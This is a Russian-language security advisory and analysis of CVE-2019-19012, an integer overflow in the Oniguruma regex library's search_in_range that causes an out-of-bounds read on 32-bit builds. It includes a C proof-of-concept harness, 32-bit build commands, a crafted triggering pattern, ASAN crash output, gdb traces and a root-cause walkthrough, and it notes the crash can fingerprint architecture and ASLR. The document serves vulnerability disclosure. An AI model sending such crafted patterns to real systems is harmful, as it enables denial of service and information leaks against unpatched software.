CVE-2019-19012

Целочисленное переполнение в функции search_in_range в файле regexec.c в Oniguruma 6.x до версии 6.9.4_rc2 приводит к чтению за пределами выделенной памяти, причём смещение этого чтения контролируется атакующим. (Это затрагивает только 32-битную скомпилированную версию). Удалённые атакующие могут вызвать отказ в обслуживании или раскрытие информации, а также, возможно, другие последствия, с помощью специально созданного регулярного выражения.

Исследователь: ManhND из команды Tarantula, VinCSS (член Vingroup)

Что такое Oniguruma

Oniguruma от K. Kosako — это библиотека регулярных выражений, распространяемая по лицензии BSD, поддерживающая различные кодировки символов. Язык программирования Ruby, начиная с версии 1.9, а также модуль многобайтовых строк PHP (начиная с PHP5) используют Oniguruma в качестве своего движка регулярных выражений. Он также используется в таких продуктах, как Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text и SubEthaEdit.

Proof of Concept (Подтверждение концепции)

Ниже представлен PoC на языке C. Он принимает первый аргумент как шаблон, а второй аргумент — как строку для сопоставления.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Скомпилируйте Oniguruma и PoC в 32-битном режиме:

./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

Чтобы вызвать ошибку, передайте строку "x" и шаблон в формате "x{a}{b}0", где a и b меньше 100000. Например:

root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

Анализ

Исходный код версии: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4

Коренная причина кроется в строке regexec.c:5365, где происходит целочисленное переполнение:

5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => переполнение
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

Целочисленное переполнение происходит, когда reg->dmax достигает достаточно большого значения. reg->dmax, по-видимому, представляет собой некоторое расстояние, равное <число> в шаблоне "x{<число>}y", где x может быть любым символом, а y — цифрой. Например, если задан шаблон "a{1000}5", то reg->dmax = 1000. См. следующий журнал gdb с "./PoC a{1000}5 b":

root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # установить точку останова после onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>, 
  map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)

Для шаблонов вида "x{<число>}y" dmax принимает максимальное значение 100000, так как число повторений не может быть больше 100000 (ONIG_MAX_REPEAT_NUM). Однако, если мы предоставим шаблоны в формате "x{<число1>}{<число2>}y", то получим reg->dmax = число1 * число2. Это умножение выполняется в следующем коде (regcomp.c:6157):

6156	      else {
6157	        max = distance_multiply(xo.len.max, qn->upper);    //// => умножение в dmax
6158	      }

См. следующий журнал gdb с "./PoC a{1000}{2}5 b":

(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>, 
  map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)

Более того, число повторений может быть вложенным сколько угодно раз:

"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk

Таким образом, dmax (беззнаковое целое) может принимать любое значение в диапазоне [0, 0xffffffff), и целочисленное переполнение в sch_range += reg->dmax; вполне возможно. То же самое относится и к reg->dmin. Однако это целочисленное переполнение происходит только в 32-битной версии. В 64-битной версии sch_range является 64-битным указателем, а dmax по-прежнему является беззнаковым целым, поэтому целочисленное переполнение невозможно.

PoC выше аварийно завершается, потому что в sunday_quick_search целочисленное переполнение приводит к разыменованию недопустимого адреса памяти:

while (s < end) {
    p = s;
    t = tail;
    while (*p == *t) {                             // => p указывает на недопустимый адрес
      if (t == target) return (UChar* )p;
      p--; t--;
    }
    if (s + map_offset >= text_end) break;
    s += reg->map[*(s + map_offset)];
  }

Если ASLR включён и мы предоставляем подходящий шаблон, ASLR иногда отображает действительную страницу по разыменованному адресу, иногда не отображает никакой страницы, поэтому PoC иногда будет аварийно завершаться, а иногда нет. Таким образом, этот PoC может использоваться для определения того, является ли целевая система 32-битной или 64-битной. И если она 32-битная, мы можем определить, включён ли ASLR.

Ссылки

https://github.com/kkos/oniguruma/issues/164

https://en.wikipedia.org/wiki/Oniguruma

CVE-2019-19012

Популярное

CVE-2019-19012

Что такое Oniguruma

Proof of Concept (Подтверждение концепции)

Анализ

Ссылки